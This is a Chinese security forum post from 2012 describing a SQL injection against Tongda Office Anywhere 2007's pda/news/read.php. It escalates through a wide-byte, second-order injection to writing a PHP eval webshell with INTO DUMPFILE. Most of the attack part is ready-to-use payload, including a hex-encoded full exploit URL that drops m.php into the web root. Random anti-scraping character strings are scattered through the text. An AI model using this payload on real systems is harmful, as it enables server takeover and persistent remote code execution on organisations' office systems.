找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2694|回复: 0
打印 上一主题 下一主题

通达OA2007版本漏洞及getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-20 08:09:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
目前测试通达OA2007版本; Y- c2 j; H4 {0 h$ s: {0 R

7 b: o! S& |4 G7 L$ K, E 6 {; }+ Y# |/ @
Office Anywhere 2007 网络智能办公系统
; w$ j4 S+ j2 ~" ]! Q. A1 h , A8 @6 ]+ ^% ^$ I, |
http://127.0.0.1/pda/news/read.php?P=%cf'    猪点。   暴web目录..
' n: p# E# P/ @( q 8 w# w1 H  O9 h  ^) o: k

+ s6 ]& [' ]/ k- `这个时候看了下代码,存在注入的那个变量的语句中第3个字段,在该文件下面被另外个select语句调用了,灵光一闪,大概思路是这样的
8 [8 u+ c  Y0 \5 F4 f+ \1 L0 A
/ t+ Z1 @  F/ l- C+ R! \6 M例如:SELECT * from USER where USER_ID='{$USERNAME}'  & w/ P. b5 {0 e. r" N5 l
其中有这么段字段声明$PROVIDER = $ROW['PROVIDER'];被下面个语句$query1 = "SELECT * from USER where USER_ID='{$PROVIDER}'";带入查询了" F( ]4 l7 u8 W& N+ G+ F  L% l9 }
) G; s1 Z% e: d5 D' N. F$ b
这个时候我们是不是可以组合起来使用哪?
6 f8 A% I; F. n& B
1 ?$ o* i' p* p8 g: M8 ~5 h& H第一条语句开始注入,union select 1,2,3,4,5,6,7,8,9,10...,比如第3个是PROVIDER字段,我们这样
6 L4 _. a6 a7 r" Z( ]union select 1,2,'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#,4,5,6,7,8,9,104 k/ v% N5 S4 s$ a( a5 z" E% p& n

7 ~# c# v% N: x$ l" n这样'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#这个语句就带入第二条语句去写webshell了! u: v" F4 D- m* ?: V) @
3 z5 b% S( {" V9 x
那么问题来了,单引号可以吗?当然是不可以的,^_^。。。& a8 c& z' I% Q1 V
9 N& y6 @+ v: I2 I- L3 F5 l* X; E
那么我们用字符串格式带入进行hex编码% v9 c- }/ U- y  x6 G. T2 o
' A# i$ }) F* Z
%cf'UNION SELECT 1,2,3,0x27554e494f4e2053454c45435420312c312c312c273c3f706870206576616c282476293b3f3e272c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c3120696e746f2064756d7066696c6527423a2f6d2e7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23' h, H: d" S3 ?, K- p0 q- D) D- [
7 p) _% {& V2 G
测试ok,获取oa的webshell/ @% W8 a1 F6 J# t3 W4 Y& f
0 ~* I( \3 s6 d# Z' G# K
7 u  Q3 O$ f' H2 @6 o9 e0 T& l+ v
pda/news/read.php?P=%cf'or%281=1%29%23&NEWS_ID=%cf'UNION SELECT 1,2,3,0x27554E494F4E2053454C45435420312C312C312C273C3F706870206576616C282476293B3F3E272C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C3120696E746F2064756D7066696C6527443A2F4D594F412F776562726F6F742F6D2E7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
( {$ r" R0 t0 e直接getwebshell
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表